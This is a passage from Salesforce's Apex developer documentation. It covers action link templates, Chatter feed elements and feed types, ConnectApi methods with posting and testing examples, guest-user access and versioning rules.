Define an Action Link in a Template and Post with a Feed Element
Edit Action Link Templates
EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: All editions
except Personal edition.
USER PERMISSIONS
To edit action link group
templates:
•“Customize Application”
To edit action link templates:
•“Customize Application”
You can edit all fields on an unpublished action link group template and on its associated action
link templates.
1. From Setup, enter Action Link Templates in the Quick Find box, then select
Action Link Templates.
2. To edit an action link group template, click Edit next to its name.
If the group template isn’t published, edit any field. If it is published, edit the Name field only.
3. To edit an action link template:
a. Click the name of its master action link group template.
b. Click the Action Link Template ID to open the detail page for the action link template.
c. Click Edit.
If the associated action link group template isn’t published, edit any field. If it’s published,
edit any of these fields:
•Action URL
•HTTP Request Body
•HTTP Headers
These fields support context variables and binding variables.
You can add and delete context variables in any of these fields.
You cannot add a new binding variable. You can:
•Move a binding variable to another editable field in an action link template.
•Use a binding variable more than once in an action link template.
343
Chatter in Apex FeaturesUsing Salesforce Features with Apex
•Use a binding variable more than once in any action link templates associated with the same action link group template.
•Remove binding variables.
SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element
Delete Action Link Group Templates
EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: All editions
except Personal edition.
USER PERMISSIONS
To delete action link group
templates:
•“Customize Application”
To delete action link
templates:
•“Customize Application”
When you delete an action link group template, you delete its associated action link templates and
all action link groups that have been instantiated from the templates. Deleted action link groups
disappear from any feed elements they've been associated with.
1. From Setup, enter Action Link Templates in the Quick Find box, then select
Action Link Templates.
2. To delete an action link group template, click Del next to its name.
Important: When you delete an action link group template, you delete its associated
action link templates and all action link groups that have been instantiated from the
template. The action link group is deleted from any feed elements it has been associated
with, which means that action links disappear from those posts in the feed.
3. To delete an action link template:
a. Click the name of its master action link group template.
b. Click the Action Link Template ID to open the detail page for the action link template.
c. Click Delete.
Important: You can’t delete an action link template that’s associated with a published
action link group template.
SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element
344
Chatter in Apex FeaturesUsing Salesforce Features with Apex
Package Action Link Templates
EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: All editions
except Personal edition.
USER PERMISSIONS
To package action link
templates:
•“Create AppExchange
Package”
Package action link templates to distribute them to other Salesforce organizations.
When you add an action link group template, any associated action link templates are also added
to the package. You can add an action link group template to a managed or unmanaged package.
As a packageable component, action link group templates can also take advantage of all the features
of managed packages, such as listing on the AppExchange, push upgrades, post-install Apex scripts,
license management, and enhanced subscriber support. To create a managed package, you must
use a Developer Edition organization.
•See Creating and Editing a Package at https://help.salesforce.com.
SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element
Working with Feeds and Feed Elements
In API versions 30.0 and earlier, a Chatter feed was a container of feed items. In API version 31.0, the definition of a feed expanded to
include new objects that didn’t entirely fit the feed item model. The Chatter feed became a container of feed elements. The abstract class
ConnectApi.FeedElement was introduced as a parent class to the existing ConnectApi.FeedItem class. The subset of
properties that feed elements share was moved into the ConnectApi.FeedElement class. Because feeds and feed elements are
the core of Chatter, understanding them is crucial to developing applications with Chatter in Apex.
Note: Salesforce Help refers to feed items as posts and bundles as bundled posts.
Capabilities
As part of the effort to diversify the feed, pieces of functionality found in feed elements have been broken out into capabilities. Capabilities
provide a consistent way to interact with objects in the feed. Don’t inspect the feed element type to determine which functionality is
available for a feed element. Inspect the capability object, which tells you explicitly what’s available. Check for the presence of a capability
to determine what a client can do to a feed element.
The ConnectApi.FeedElement.capabilities property holds a ConnectApi.FeedElementCapabilities
object, which holds a set of capability objects.
A capability object includes both an indication that a feature is possible and data associated with that feature. If a capability property
exists on a feed element, that capability is available, even if there isn’t any data associated with the capability yet. For example, if the
chatterLikes capability property exists on a feed element (with or without any likes included in the list of likes found in the
chatterLikes.page.items property), the context user can like that feed element. If the capability property doesn’t exist on a
feed element, it isn’t possible to like that feed element.
When posting a feed element, specify its characteristics in the ConnectApi.FeedElementInput.capabilities property.
How the Salesforce UI Displays Feed Items
Note: ConnectApi.FeedItem is a subclass of ConnectApi.FeedElement.
As we learned in Capabilities, clients use the ConnectApi.FeedElement.capabilities property to determine what it can
do with a feed element and how it renders a feed element. For all feed element subclasses other than ConnectApi.FeedItem,
the client doesn’t need to know the subclass type, it can simply look at the capabilities. Feed items do have capabilities, but they also
345
Chatter in Apex FeaturesUsing Salesforce Features with Apex
have a few properties, such as actor, that aren’t exposed as capabilities. For this reason, clients must handle feed items a bit differently
than other feed elements.
To give customers a consistent view of feed items and to give developers an easy way to create UI, the Salesforce UI uses one layout to
display every feed item. The layout always contains the same pieces and the pieces are always in the same position; only the content of
the layout pieces changes.
The feed item (ConnectApi.FeedItem) layout elements are:
1. Actor (ConnectApi.FeedItem.actor)—A photo or icon of the creator of the feed item. (You can override the creator at
the feed item type level. For example, the dashboard snapshot feed item type shows the dashboard as the creator.)
2. Header (ConnectApi.FeedElement.header)—Provides context. The same feed item can have a different header depending
on who posted it and where. For example, Gordon posted this feed item to his profile. If he then shared it to a group, the header of
the feed item in the group feed would be “Gordon Johnson (originally posted by Gordon Johnson)”. The “originally posted” text
would link to the feed item on Gordon’s profile.
3. Body (ConnectApi.FeedElement.body)—All feed items have a body, but the body can be null, which is the case when
the user doesn’t provide text for the feed item. Because the body can be null, you can’t use it as the default case for rendering
text. Instead, use the ConnectApi.FeedElement.header.text property, which always contains a value.
4. Auxiliary Body (ConnectApi.FeedElement.capabilities)—The visualization of the capabilities. See Capabilities.
Important: The attachment property is not supported in API versions 32.0 and later. Instead, use the capabilities
property, which holds a ConnectApi.FeedElementCapabilities object, to discover what to render for a feed
element.
5. Created By Timestamp (ConnectApi.FeedElement.relativeCreatedDate)—The date and time when the feed item
was posted. If the feed item is less than two days old, the date and time are formatted as a relative, localized string, for example,
“17m ago” or “Yesterday”. Otherwise, the date and time are formatted as an absolute, localized string.
Here’s another example of a feed item in the Salesforce UI. This feed item’s auxiliary body contains a poll capability:
346
Chatter in Apex FeaturesUsing Salesforce Features with Apex
How the Salesforce Displays Feed Elements Other Than Feed Items
As we learned in the Capabilities section, a client should use the ConnectApi.FeedElement.capabilities property to
determine what it can do with a feed element and how to render a feed element. This section uses bundles as an example of how to
render a feed element, but these properties are available for every feed element. Capabilities allow you to handle all content in the feed
consistently.
Note: Bundled posts contain feed-tracked changes. In Salesforce1 downloadable apps, bundled posts are in record feeds only.
To give customers a clean, organized feed, Salesforce aggregates feed-tracked changes into a bundle. To see individual feed elements,
click the bundle.
A bundle is a ConnectApi.GenericFeedElement object (which is a concrete subclass of ConnectApi.FeedElement)
with a ConenctApi.BundleCapability. The bundle layout elements are:
1. Header (ConnectApi.FeedElement.header)—For feed-tracked change bundles, this text is “This record was updated.”
The time below the header is the ConnectApi.FeedElement.relativeCreatedDate property.
2. Auxiliary Body (ConnectApi.FeedElement.capabilities.bundle.changes)—The bundle displays the
fieldName and the oldValue and newValue properties for the first two feed-tracked changes in the bundle. If there are
more than two feed-tracked changes, the bundle displays a “Show All Updates” link.
Feed Element Visibility
The feed elements a user sees depend on how the administrator has configured feed tracking, sharing rules, and field-level security. For
example, if a user doesn’t have access to a record, they don’t see updates for that record. If a user can see the parent of the feed element,
the user can see the feed element. Typically, a user sees feed updates for:
•Feed elements that @mention the user (if the user can access the feed element’s parent)
•Feed elements that @mention groups the user is a member of
347
Chatter in Apex FeaturesUsing Salesforce Features with Apex
•Record field changes on records whose parent is a record the user can see, including User, Group, and File records
•Feed elements posted to the user
•Feed elements posted to groups the user owns or is a member of
•Feed elements for standard and custom records, for example, tasks, events, leads, accounts, files
Feed Types
There are many types of feeds. Each feed type is an algorithm that defines a collection of feed elements.
Important: The algorithms, and therefore the collection of feed elements, can change between releases.
All feed types except Filter and Favorites are exposed in the ConnectApi.FeedType enum and passed to one of the
ConnectApi.ChatterFeeds.getFeedElementsFromFeed methods. This example gets the feed elements from the
context user’s news feed and topics feed:
ConnectApi.FeedElementPage newsFeedElementPage =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
ConnectApi.FeedType.News, 'me');
ConnectApi.FeedElementPage topicsFeedElementPage =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
ConnectApi.FeedType.Topics, '0TOD00000000cld');
To get a filter feed, call one of the ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed methods. To get
a favorites feed, call one of the ConnectApi.ChatterFavorites.getFeedElements methods.
The feed types and their descriptions are:
•Bookmarks—Contains all feed items saved as bookmarks by the context user.
•Company—Contains all feed items except feed items of type TrackedChange. To see the feed item, the user must have sharing
access to its parent.
•DirectMessages—Contains all feed items of the context user’s direct messages.
•Files—Contains all feed items that contain files posted by people or groups that the context user follows.
•Filter—Contains the news feed filtered to contain feed items whose parent is a specified object type.
•Groups—Contains all feed items from all groups the context user either owns or is a member of.
•Home—Contains all feed items associated with any managed topic in a community.
•Moderation—Contains all feed items that have been flagged for moderation. The Communities Moderation feed is available
only to users with “Moderate Community Feeds” permissions.
•Mute—Contains all feed items that the context user muted.
•News—Contains all updates for people the context user follows, groups the user is a member of, and files and records the user is
following. Also contains all updates for records whose parent is the context user and every feed item and comment that mentions
the context user or that mentions a group the context user is a member of.
•PendingReview—Contains all feed items and comments that are pending review.
•People—Contains all feed items posted by all people the context user follows.
•Record—Contains all feed items whose parent is a specified record, which could be a group, user, object, file, or any other standard
or custom object. When the record is a group, the feed also contains feed items that mention the group. When the record is a user,
the feed contains only feed items on that user. You can get another user’s record feed.
•Streams—Contains all feed items for any combination of up to 25 feed-enabled entities, such as people, groups, and records,
that the context user subscribes to in a stream.
348
Chatter in Apex FeaturesUsing Salesforce Features with Apex
•To—Contains all feed items with mentions of the context user, feed items the context user commented on, and feed items created
by the context user that are commented on.
•Topics—Contains all feed items that include the specified topic.
•UserProfile—Contains feed items created when a user changes records that can be tracked in a feed, feed items whose parent
is the user, and feed items that @mention the user. This feed is different than the news feed, which returns more feed items, including
group updates. You can get another user’s user profile feed.
•Favorites—Contains favorites saved by the context user. Favorites are feed searches, list views, and topics.
Post a Feed Item Using postFeedElement
Tip: The postFeedElement methods are the simplest, most efficient way to post feed items because, unlike the
postFeedItem methods, they don’t require you to pass a feed type. As of API version 31.0, feed items are the only feed element
type you can post. However, there may be other types in the future.
Use these methods to post feed items:
postFeedElement(String communityId,String subjectId, ConnectApi.FeedElementType
feedElementType,String text)
Posts a feed element with plain text from the context user.
postFeedElement(String communityId, ConnectApi.FeedElementInput feedElement,
ConnectApi.BinaryInput feedElementFileUpload) (version 35.0 and earlier)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach a
file to a feed element, and to associate action link groups with a feed element. You can also use this method to share a feed element
and add a comment.
postFeedElement(String communityId, ConnectApi.FeedElementInput feedElement) (version 36.0
and later)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach
already uploaded files to a feed element, and to associate action link groups with a feed element. You can also use this method to
share a feed element and add a comment.
When you post a feed item, you create a child of a standard or custom object. Specify the parent object in the subjectId parameter
or in the subjectId property of the ConnectApi.FeedElementInput object you pass in the feedElement parameter.
The value of the subjectId parameter determines the feeds in which the feed item is displayed. The parent property in the
returned ConnectApi.FeedItem object contains information about the parent object.
Use these methods to complete these tasks:
Post to yourself
This code posts a feed item to the context user. The subjectId specifies me, which is an alias for the context user’s ID. It could
also specify the context user’s ID.
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,'me',
ConnectApi.FeedElementType.FeedItem, 'Working from home today.');
The parent property of the newly posted feed item contains the ConnectApi.UserSummary of the context user.
Post to another user
This code posts a feed item to a user other than the context user. The subjectId specifies the user ID of the target user.
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,
'005D00000016Qxp', ConnectApi.FeedElementType.FeedItem, 'Kevin, do you have information
about the new categories?');
349
Chatter in Apex FeaturesUsing Salesforce Features with Apex
The parent property of the newly posted feed item contains the ConnectApi.UserSummary of the target user.
Post to a group
This code posts a feed item with a content attachment to a group. The subjectId specifies the group ID.
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.ContentAttachmentInput contentAttachmentInput = new
ConnectApi.ContentAttachmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
contentAttachmentInput.contentDocumentId = '069D00000001pyS';
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Would you please review this doc?';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.attachment = contentAttachmentInput;
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
// Use a group ID for the subject ID.
feedItemInput.subjectId = '0F9D00000000oOT';
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,
feedItemInput, null);
The parent property of the newly posted feed item contains the ConnectApi.ChatterGroupSummary of the specified
group.
Post to a record (such as a file or an account)
This code posts a feed item to a record and mentions a group. The subjectId specifies the record ID.
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Does anyone know anyone with contacts here?';
messageBodyInput.messageSegments.add(textSegmentInput);
// Mention a group.
mentionSegmentInput.id = '0F9D00000000oOT';
messageBodyInput.messageSegments.add(mentionSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
// Use a record ID for the subject ID.
feedItemInput.subjectId = '001D000000JVwL9';
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,
feedItemInput, null);
350
Chatter in Apex FeaturesUsing Salesforce Features with Apex
The parent property of the new feed item depends on the record type specified in subjectId. If the record type is File, the
parent is ConnectApi.FileSummary. If the record type is Group, the parent is ConnectApi.ChatterGroupSummary.
If the record type is User, the parent is ConnectApi.UserSummary. For all other record types, as in this example which uses
an Account, the parent is ConnectApi.RecordSummary.
Get Feed Elements from a Feed
Tip: To return a feed that includes feed elements, call these methods. As of API version 31.0, the only feed element types are feed
item and bundle, but that could change in the future.
Getting feed items from a feed is similar, but not identical, for each feed type.
Get feed elements from the Company feed, the Home feed, and the Moderation feed
To get the feed elements from the company feed, the home feed, or the moderation feed, use these methods that don’t require a
subjectId:
•ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType)
•ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType,String pageParam,Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
•ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType,Integer recentCommentCount, ConnectApi.FeedDensity
density,String pageParam,Integer pageSize, ConnectApi.FeedSortOrder sortParam)
•ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType,Integer recentCommentCount, ConnectApi.FeedDensity
density,String pageParam,Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedFilter filter)
Get feed elements from the Favorites feed
To get the feed elements from the favorites feed, specify a favoriteId. For these feeds, the subjectId must be the ID of
the context user or the alias me.
•ConnectApi.ChatterFavorites.getFeedElements(String communityId,String subjectId,
String favoriteId)
•ConnectApi.ChatterFavorites.getFeedElements(String communityId,String subjectId,
String favoriteId,String pageParam,Integer pageSize, ConnectApi.FeedSortOrder
sortParam)
•ConnectApi.ChatterFavorites.getFeedElements(String communityId,String subjectId,
String favoriteId,Integer recentCommentCount,Integer elementsPerBundle,String
pageParam,Integer pageSize, ConnectApi.FeedSortOrder sortParam)
Get feed elements from the Filter feed
To get the feed elements from the filters feed, specify a keyPrefix. The keyPrefix indicates the object type and is the first
three characters of the object ID. The subjectId must be the ID of the context user or the alias me.
•ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed(String communityId,String
subjectId,String keyPrefix)
•ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed(String communityId,String
subjectId,String keyPrefix,String pageParam,Integer pageSize,
ConnectApi.FeedSortOrder sortOrder)
351
Chatter in Apex FeaturesUsing Salesforce Features with Apex
•ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed(String communityId,String
subjectId,String keyPrefix,Integer recentCommentCount,Integer elementsPerBundle,
ConnectApi.FeedDensity density,String pageParam,Integer pageSize,
ConnectApi.FeedSortOrder sortOrder)
Get feed elements from the Bookmarks, Files, Groups, Mute, News, People, Record, To, Topics, and
UserProfile feeds
To get the feed elements from these feed types, specify a subject ID. If feedType is Record, subjectId can be any record
ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId
must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value,
subjectId must be the ID of the context user or the alias me..
•ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType,String subjectId)
•ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType,String subjectId,String pageParam,Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
•ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType,String subjectId,Integer recentCommentCount,
ConnectApi.FeedDensity density,String pageParam,Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
Get feed elements from a Record feed
For subjectId, specify a record ID.
Tip: The record can be a record of any type that supports feeds, including group. The feed on the group page in the Salesforce
UI is a record feed.
•ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType,String subjectId,Integer recentCommentCount,
ConnectApi.FeedDensity density,String pageParam,Integer pageSize,
ConnectApi.FeedSortOrder sortParam.Boolean showInternalOnly)
•ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType,String subjectId,Integer recentCommentCount,Integer
elementsPerBundle, ConnectApi.FeedDensity density,String pageParam,Integer
pageSize, ConnectApi.FeedSortOrder sortParam.Boolean showInternalOnly)
•ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType,String subjectId,Integer recentCommentCount,Integer
elementsPerBundle, ConnectApi.FeedDensity density,String pageParam,Integer
pageSize, ConnectApi.FeedSortOrder sortParam.Boolean showInternalOnly,
ConnectApi.FeedFilter filter)
SEE ALSO:
ChatterFavorites Class
ChatterFeeds Class
ConnectApi Output Classes
ConnectApi Input Classes
352
Chatter in Apex FeaturesUsing Salesforce Features with Apex
Accessing ConnectApi Data in Communities and Portals
Most ConnectApi methods work within the context of a single community.
Many ConnectApi methods include communityId as the first argument. If you do not have communities enabled, use
'internal' or null for this argument.
If you have communities enabled, the communityId argument specifies whether to execute a method in the context of the default
community (by specifying 'internal' or null) or in the context of a specific community (by specifying a community ID). Any
entity, such as a comment, a feed item, and so on, referred to by other arguments in the method must be located in the specified
community. The specified community ID is used in all URLs returned in the output.
To access the data in a partner portal or a Customer Portal, use a community ID for the communityId argument. You cannot use
'internal' or null.
Most URLs returned in ConnectApi output objects are Chatter REST API resources.
If you specify a community ID, URLs returned in the output use the following format:
/connect/communities/communityId/resource
If you specify 'internal', URLs returned in the output use the same format:
/connect/communities/internal/resource
If you specify null, URLs returned in the output use one of these formats:
/chatter/resource
/connect/resource
Methods Available to Communities Guest Users
If your community allows access without logging in, guest users have access to many Chatter in Apex methods. These methods return
information the guest user has access to.
If your community allows access without logging in, all overloads of these methods are available to guest users.
Important: If an overload of a method listed here indicates that Chatter is required, you must also select Give access to public
API requests on Chatter in your community preferences to make the method available to guest users. If this option isn’t selected,
data retrieved by methods that require Chatter doesn’t load correctly on public community pages.
•Announcements methods:
–getAnnouncements()
•ChatterFeeds methods:
–getComment()
–getCommentsForFeedElement()
–getFeed()
–getFeedElement()
–getFeedElementBatch()
–getFeedElementPoll()
–getFeedElementsFromFeed()
–getFeedElementsUpdatedSince()
353
Chatter in Apex FeaturesUsing Salesforce Features with Apex
–getLike()
–getLikesForComment()
–getLikesForFeedElement()
–getRelatedPosts()
–searchFeedElements()
–searchFeedElementsInFeed()
Important: These ChatterFeeds feed item methods are available to guest users only in version 31.0. In version 32.0 and
later, the ChatterFeeds feed element methods are available to guest users.
–getCommentsForFeedItem()
–getFeedItem()
–getFeedItemBatch()
–getFeedItemsFromFeed()
–getFeedItemsUpdatedSince()
–getLikesForFeedItem()
–searchFeedItems()
–searchFeedItemsInFeed()
•ChatterGroups methods:
–getGroup()
–getGroups()
–getMembers()
–searchGroups()
•ChatterUsers methods:
–getFollowers()
–getFollowings()
–getGroups()
–getPhoto()
–getReputation()
–getUser()
–getUserBatch()
–getUsers()
–searchUserGroups()
–searchUsers()
•Communities methods:
–getCommunity()
•Knowledge methods:
–getTrendingArticles()
–getTrendingArticlesForTopic()
•ManagedTopics methods:
354
Chatter in Apex FeaturesUsing Salesforce Features with Apex
getManagedTopic()
–
–getManagedTopics()
•Recommendations methods:
–getRecommendationsForUsers()
Note: Only article and file recommendations are available to guest users.
•Topics methods:
–getGroupsRecentlyTalkingAboutTopic()
–getRecentlyTalkingAboutTopicsForGroup()
–getRecentlyTalkingAboutTopicsForUser()
–getRelatedTopics()
–getTopic()
–getTopics()
–getTrendingTopics()
•UserProfiles methods:
–getPhoto()
•Zones methods:
–searchInZone()
SEE ALSO:
Enable Public Access to Community Content
Using ConnectApi Input and Output Classes
Some classes in the ConnectApi namespace contain static methods that access Chatter REST API data. The ConnectApi namespace
also contains input classes to pass as parameters and output classes that can be returned by calls to the static methods.
ConnectApi methods take either simple or complex types. Simple types are primitive Apex data like integers and strings. Complex
types are ConnectApi input objects.
The successful execution of a ConnectApi method can return an output object from the ConnectApi namespace. ConnectApi
output objects can be made up of other output objects. For example, the ConnectApi.ActorWithId output object contains
properties such as id and url, which contain primitive data types. It also contains a mySubscription property, which contains
a ConnectApi.Reference object.
Note: All Salesforce IDs in ConnectApi output objects are 18 character IDs. Input objects can use 15 character IDs or 18
character IDs.
SEE ALSO:
ConnectApi Input Classes
ConnectApi Output Classes
355
Using ConnectApi Input and Output ClassesUsing Salesforce Features with Apex
Understanding Limits for ConnectApi Classes
Limits for methods in the ConnectApi namespace are different than the limits for other Apex classes.
For classes in the ConnectApi namespace, every write operation costs one DML statement against the Apex governor limit.
ConnectApi method calls are also subject to rate limiting. ConnectApi rate limits match Chatter REST API rate limits. Both have
a per user, per namespace, per hour rate limit. When you exceed the rate limit, a ConnectApi.RateLimitException is thrown.
Your Apex code must catch and handle this exception.
When testing code, a call to the Apex Test.startTest method starts a new rate limit count. A call to the Test.stopTest
method sets your rate limit count to the value it was before you called Test.startTest.
Serializing and Deserializing ConnectApi Objects
When ConnectApi output objects are serialized into JSON, the structure is similar to the JSON returned from Chatter REST API. When
ConnectApi input objects are deserialized from JSON, the format is also similar to Chatter REST API.
Chatter in Apex supports serialization and deserialization in the following Apex contexts:
•JSON and JSONParser classes—serialize Chatter in Apex outputs to JSON and deserialize Chatter in Apex inputs from JSON.
•Apex REST with @RestResource—serialize Chatter in Apex outputs to JSON as return values and deserialize Chatter in Apex
inputs from JSON as parameters.
•JavaScript Remoting with @RemoteAction—serialize Chatter in Apex outputs to JSON as return values and deserialize Chatter
in Apex inputs from JSON as parameters.
Chatter in Apex follows these rules for serialization and deserialization:
•Only output objects can be serialized.
•Only top-level input objects can be deserialized.
•Enum values and exceptions cannot be serialized or deserialized.
ConnectApi Versioning and Equality Checking
Versioning in ConnectApi classes follows specific rules that are quite different than the rules for other Apex classes.
Versioning for ConnectApi classes follows these rules:
•A ConnectApi method call executes in the context of the version of the class that contains the method call. The use of version
is analogous to the /vXX.X section of a Chatter REST API URL.
•Each ConnectApi output object exposes a getBuildVersion method. This method returns the version under which the
method that created the output object was invoked.
•When interacting with input objects, Apex can access only properties supported by the version of the enclosing Apex class.
•Input objects passed to a ConnectApi method may contain only non-null properties that are supported by the version of the
Apex class executing the method. If the input object contains version-inappropriate properties, an exception is thrown.
•The output of the toString method only returns properties that are supported in the version of the code interacting with the
object. For output objects, the returned properties must also be supported in the build version.
•Apex REST, JSON.serialize, and @RemoteAction serialization include only version-appropriate properties.
•Apex REST, JSON.deserialize, and @RemoteAction deserialization reject properties that are version-inappropriate.
•Enums are not versioned. Enum values are returned in all API versions. Clients should handle values they don't understand gracefully.
Equality checking for ConnectApi classes follows these rules:
356
Understanding Limits for ConnectApi ClassesUsing Salesforce Features with Apex
•Input objects—properties are compared.
•Output objects—properties and build versions are compared. For example, if two objects have the same properties with the same
values but have different build versions, the objects are not equal. To get the build version, call getBuildVersion.
Casting ConnectApi Objects
It may be useful to downcast some ConnectApi output objects to a more specific type.
This technique is especially useful for message segments, feed item capabilities, and record fields. Message segments in a feed item are
typed as ConnectApi.MessageSegment. Feed item capabilities are typed as ConnectApi.FeedItemCapability.
Record fields are typed as ConnectApi.AbstractRecordField. These classes are all abstract and have several concrete
subclasses. At runtime you can use instanceof to check the concrete types of these objects and then safely proceed with the
corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses.
The following example downcasts a ConnectApi.MessageSegment to a ConnectApi.MentionSegment:
if(segment instanceof ConnectApi.MentionSegment) {
ConnectApi.MentionSegment = (ConnectApi.MentionSegment)segment;
}
Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.
SEE ALSO:
ChatterFeeds Class
ConnectApi.FeedElementCapabilities Class
ConnectApi.MessageSegment Class
ConnectApi.AbstractRecordView Class
Wildcards
Use wildcard characters to match text patterns in Chatter REST API and Chatter in Apex searches.
A common use for wildcards is searching a feed. Pass a search string and wildcards in the q parameter. This example is a Chatter REST
API request:
/chatter/feed-elements?q=chat*
This example is a Chatter in Apex method call:
ConnectApi.ChatterFeeds.searchFeedElements(null,'chat*');
You can specify the following wildcard characters to match text patterns in your search:
DescriptionWildcard
Asterisks match zero or more characters at the middle or end of your search term. For example, a search for john*
finds items that start with john, such as, john, johnson, or johnny. A search for mi* meyers finds items with mike
meyers or michael meyers.
*
If you are searching for a literal asterisk in a word or phrase, then escape the asterisk (precede it with the \ character).
357
Casting ConnectApi ObjectsUsing Salesforce Features with Apex
DescriptionWildcard
Question marks match only one character in the middle or end of your search term. For example, a search for jo?n
finds items with the term john or joan but not jon or johan. You can't use a ? in a lookup search.
?
When using wildcards, consider the following notes:
•The more focused your wildcard search, the faster the search results are returned, and the more likely the results will reflect your
intention. For example, to search for all occurrences of the word prospect (or prospects, the plural form), it is more efficient
to specify prospect* in the search string than to specify a less restrictive wildcard search (such as prosp*) that could return
extraneous matches (such as prosperity).
•Tailor your searches to find all variations of a word. For example, to find property and properties, you would specify
propert*.
•Punctuation is indexed. To find * or ? inside a phrase, you must enclose your search string in quotation marks and you must escape
the special character. For example, "where are you\?" finds the phrase where are you?. The escape character (\) is
required in order for this search to work correctly.
Testing ConnectApi Code
Like all Apex code, Chatter in Apex code requires test coverage.
Chatter in Apex methods don’t run in system mode, they run in the context of the current user (also called the context user). The methods
have access to whatever the context user has access to. Chatter in Apex doesn’t support the runAs system method.
Most Chatter in Apex methods require access to real organization data, and fail unless used in test methods marked
@IsTest(SeeAllData=true).
However, some Chatter in Apex methods, such as getFeedElementsFromFeed, are not permitted to access organization data
in tests and must be used with special test methods that register outputs to be returned in a test context. If a method requires a setTest
method, the requirement is stated in the method’s “Usage” section.
A test method name is the regular method name with a setTest prefix. The test method signature (combination of parameters)
matches a signature of the regular method. For example, if the regular method has three overloads, the test method has three overloads.
Using Chatter in Apex test methods is similar to testing Web services in Apex. First, build the data you expect the method to return. To
build data, create output objects and set their properties. To create objects, you can use no-argument constructors for any non-abstract
output classes.
After you build the data, call the test method to register the data. Call the test method that has the same signature as the regular method
you’re testing.
After you register the test data, run the regular method. When you run the regular method, the registered data is returned.
Important: Use the test method signature that matches the regular method signature. If data wasn't registered with the matching
set of parameters when you call the regular method, you receive an exception.
This example shows a test that constructs an ConnectApi.FeedElementPage and registers it to be returned when
getFeedElementsFromFeed is called with a particular combination of parameters.
global class NewsFeedClass {
global static Integer getNewsFeedCount() {
ConnectApi.FeedElementPage elements =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
ConnectApi.FeedType.News, 'me');
358
Testing ConnectApi CodeUsing Salesforce Features with Apex
return elements.elements.size();
}
}
@isTest
private class NewsFeedClassTest {
@IsTest
static void doTest() {
// Build a simple feed item
ConnectApi.FeedElementPage testPage = new ConnectApi.FeedElementPage();
List<ConnectApi.FeedItem> testItemList = new List<ConnectApi.FeedItem>();
testItemList.add(new ConnectApi.FeedItem());
testItemList.add(new ConnectApi.FeedItem());
testPage.elements = testItemList;
// Set the test data
ConnectApi.ChatterFeeds.setTestGetFeedElementsFromFeed(null,
ConnectApi.FeedType.News, 'me', testPage);
// The method returns the test page, which we know has two items in it.
Test.startTest();
System.assertEquals(2, NewsFeedClass.getNewsFeedCount());
Test.stopTest();
}
}
Differences Between ConnectApi Classes and Other Apex Classes
Note these additional differences between ConnectApi classes and other Apex classes.
System mode and context user
Chatter in Apex methods don’t run in system mode, they run in the context of the current user (also called the context user). The
methods have access to whatever the context user has access to. Chatter in Apex doesn’t support the runAs system method.
When a method takes a subjectId argument, often that subject must be the context user. In these cases, you can use the string
me to specify the context user instead of an ID.
with sharing and without sharing
Chatter in Apex ignores the with sharing and without sharing keywords. Instead, the context user controls all security,
